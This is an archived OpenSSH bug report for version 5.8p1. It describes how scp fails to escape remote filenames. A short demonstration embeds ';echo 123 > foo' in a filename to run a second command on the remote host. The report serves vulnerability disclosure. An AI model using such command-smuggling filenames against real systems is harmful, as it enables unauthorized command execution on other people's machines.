Mailing List Archive

[Bug 1998] New: Arbitrary command execution using SCP

Bug #: 1998
Summary: Arbitrary command execution using SCP
Classification: Unclassified
Product: Portable OpenSSH
Version: 5.8p1
Platform: All
OS/Version: Linux
Status: NEW
Severity: security
Priority: P2
Component: scp


I'm not sure is that a bug or a future. Since SCP doesn't escape
filenames it's possible to execute an arbitrary command:

localhost:~$ scp 'mchome:foo;echo 123 > foo' /tmp/foo
scp: foo: No such file or directory
localhost:~$ scp 'mchome:foo;echo 123 > foo' /tmp/foo
100% 4 0.0KB/s 00:00
localhost:~$ cat /tmp/foo

I've traced it and it seems to me that scp is executing the following
command on remote side:

scp -f -- foo;echo 123 > foo

Configure bugmail:
------- You are receiving this mail because: -------
You are watching the assignee of the bug.
openssh-bugs mailing list